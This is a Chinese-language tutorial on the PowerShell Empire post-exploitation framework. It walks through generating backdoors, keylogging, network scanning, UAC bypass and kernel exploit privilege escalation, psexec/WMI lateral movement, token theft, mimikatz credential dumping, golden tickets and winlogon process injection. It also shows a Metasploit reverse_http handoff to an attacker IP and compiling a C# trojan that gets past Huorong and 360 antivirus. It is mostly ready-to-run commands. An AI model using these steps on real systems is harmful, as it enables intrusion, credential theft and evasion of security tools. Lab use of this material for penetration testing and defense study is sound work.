PowerShellEmpire的后渗透利用
Empire 后渗透框架主要用于 Windows 内网渗透,该框架主要基于 Powershell 和 Python,它提供了一个模块的架构,帮助攻击者可以创建和执行各种攻击策略,支持包括域内渗透、宏钓鱼、内网横向、权限维持、后门生成等多个模块。
官网:http://www.powershellempire.com 0x01 下载安装
安装 Empire 由两种方式,分别是基于源码安装和 apt 包安装 源码安装
在 Github 中下载 Empire git clone https://github.com/EmpireProject/Empire
直接安装 Empire 会报错 ./setup/install.sh
需要安装以下 Python 库,当然在安装库时会遇到很多问题,以下是遇到问题后的解决方法 pip install pyOpenSSL pip install iptools pip install netifaces pip install pydispatch pip install pydispatcher pip install zlib_wrapper pip install macholib pip install xlrd pip install xlutils pip install pyminifier pip install dropbox pip install pefile
importlib无法安装解决方法 apt-get install build-essential python3-dev python2-dev libssl-dev swig
M2Crypto无法安装解决方法 pip install ~/Desktop/M2Crypto-0.38.0.tar.gz
dispatch无法安装解决方法 pip install --upgrade setuptools
CryPto.Cipher报错解决方法 pip uninstall crypto pip install pycrypto
下载地址:https://pypi.org/project/M2Crypto/#files
安装完成后成功启动 Empire
APT包安装
使用 apt 包安装 Empire apt install powershell-empire powershell-empire
0x02 基础使用设置监听器
进入 Empire 输入help可查看帮助文档
输入listeners进入监听器设置,按tab自动补全(如果不清楚均可使用该方法)
设置 http 监听器 uselistener http info #查看监听器信息
在监听器模块中带有True属性的值必须填写,其他属性可能会存在默认值,使用set和unset可改变设置,首先设置监听器名为test set Name test
设置监听默认是80端口,但是80端口通常是 Web 服务器,修改端口为8080 set Host http://172.16.54.51:8080 set Port 8080
开启监听器 execute
删除监听器 back list kill test
生成后门
使用usestager选择后门模块 usestager windows/launcher_bat
设置监听器和输出目录 set Listener test set OutFile /tmp/lanuncher.bat #默认输出/tmp目录 execute
在/tmp目录成功找到生成后门
把输出的后门放入目标系统中执行,执行成功后收到响应 活动代理
使用agents查看当前会话,通过interact进入会话 agents interact 22FLR8SU
如果觉得会话名称太过复杂,可重命名会话 rename win7
agents下可使用命令如下:
命令执行
查看系统信息 sysinfo
查询agents命令 help agentscmds
执行终端命令 shell whoami
基本功能
使用截图功能 sc
使用键盘记录 usemodule collection/keylogger execute
使用剪切版 usemodule collection/clipboard_monitor execute
0x03 常见模块主机扫描
ARP 扫描模块 sleep 0 #设置间隔时间 usemodule situational_awareness/network/arpscan set Range 192.168.0.1-192.168.0.100 execute
SMB 扫描模块 usemodule situational_awareness/network/smbscanner set UserName administrator set Password mac execute
端口扫描模块 usemodule situational_awareness/network/portscan set Hosts 192.168.0.1-100 set Ports 445 execute
信息收集
查找本地管理员主机 usemodule situational_awareness/network/powerview/find_localadmin_access execute
查看共享文件 usemodule situational_awareness/network/powerview/share_finder execute
Windows 本地信息收集 usemodule situational_awareness/host/winenum execute
权限提升
当前权限并非管理员,需要提权操作
使用 UAC bypass 模块提权 usemodule privesc/bypassuac set Listener test execute
使用 powerup 检查可提权项,找到后可利用环境向量提权 usemodule privesc/powerup/allchecks set Listener test execute
使用计划任务进行提权 usemodule persistence/elevated/schtasks* set Listener test execute
通过溢出漏洞提权,比如烂土豆漏洞
usemodule privesc/ms16-032 或 usemodule privesc/ms16-135 set Listener test execute
成功提权至 SYSTEM agents
0x04 域内渗透环境介绍DC: 192.168.52.138 T1: 192.168.52.128 192.168.0.100 D1: 192.168.52.141
当前已取得域内普通用户mac和本地管理员权限 agents
信息收集
基础信息收集,包括系统信息、用户信息、网络环境等 sysinfo whoami info
使用 ARP 扫描,成功找到192.168.52.0/24存在四台主机 usemodule situational_awareness/network/arpscan set Range 192.168.52.0/24 execute
查找本地管理员 usemodule situation_awareness/network/powerview/find_localadmin_access execute
查看当前用户是否为其他主机上的本地管理员 shell dir 192.168.52.141C$
成功找到域控主机IP为192.168.52.138 usemodule situation_awareness/network/powerview/get_domain_controller execute
横向移动
使用会话注入需要管理员权限,切换本地管理员后把当前会话注入到其他主机上 usemodule lateral_movement/invoke_psexec set Listener test set ComputerName stu1 execute
使用invoke_wmi模块相比invoke_psexec更加隐蔽 usemodule lateral_movement/invoke_wmi set Listener test set ComputerName stu1 execute
窃取token
在新会话中查看进程发现域管理员进程 ps
选择目标 PID 号后窃取域管理员 token steal_token 1740 shell dir OWAC$
如果需要恢复原来的身份可使用以下命令 revtoself
凭证获取
利用 mimikatz 拿到管理员密码明文和哈希 mimikatz
查看所有用户凭证如下: creds
利用哈希传递可拿到域控访问权限 黄金票据
在域控下使用lsadump模块获取域内所有用户哈希 usemodule credentials/mimikatz/lsadump creds
成功拿到krbtgt用户哈希
利用golden_ticket制作黄金票据 usemodule credentials/mimikatz/golden_ticket set credid 10 set user administrator execute
0x05 会话管理会话生成
使用spawn模块生成新会话 usemodule management/spawn set Listener test execute
进程注入
查看进程并选择需注入的进程ID ps
成功注入winlogon进程 psinject test 1120
注入这类系统进程不会出现蓝屏 MSF会话联动
首先在 MSF 中设置 http 监听 use exploit/multi/handler set payload windows/meterpreter/reverse_http set lhost 192.168.0.50 set lport 4444 exploit -j
在 Empire 中设置反弹,其中 payload 需要与上对应 usemodule code_execution/invoke_shellcode set Lhost 192.168.0.50 set Lport 4444 set Payload reverse_http execute
经测试未受到反弹shell,查阅资料后发现 Empire 转到 MSF 存在局限性,具体可查看https://www.jianshu.com/p/c5153ee1eb76 0x06 Empire-Web下载安装
Empire 存在 web 版本,把 PHP 和 Empire 结合的方式通过网页进行访问
下载地址:https://github.com/interference-security/empire-web/
下载 empire-web git clone https://github.com/interference-security/empire-web/
安装 PHP 扩展,需根据本机的 PHP 版本进行修改 apt-get install php7.4-curl
重启 Apache 后启用扩展 /etc/init.d/apache2 restart 基础使用
设置绑定端口和登录账号密码 ./empire --rest --restport 1337 --username admin --password 3mpir3admin
访问站点输入账号密码admin/3mpir3admin
成功登录能够可视化各个模块
查看Agents模块
查看已获取的用户凭证
查看文件系统
0x07 免杀模块生成csharp木马
准备 Visual Stido 用于编译 C# 文件
下载地址:http://download.microsoft.com/download/B/0/F/B0F589ED-F1B7-478C-849A-02C8395D0995/VS2012_ULT_chs.iso
生成 C# 类型木马 usestager windows/csharp_exe set Listener test info execute
成功生成后门文件launcher.src
csharp编译免杀
使用 Visual Stdio 打开cmd.sln
需要安装.net 2.0环境,打开程序与功能中的添加或删除程序安装net 3.5版本,如果无法安装,打开组策略》系统〉指定可选组件安装和组件修复的设置
.net支持:https://dotnet.microsoft.com/en-us/download/visual-studio-sdks
修改命名空间为mac123并添加花指令 var a = "12345678"; var b = "67890123";
完成后编译生成程序文件
免杀效果
使用火绒成功免杀
使用360成功免杀
但是执行后360会对行为查杀,上线则不受影响
成功进入新会话当中 interact XWVH8ME2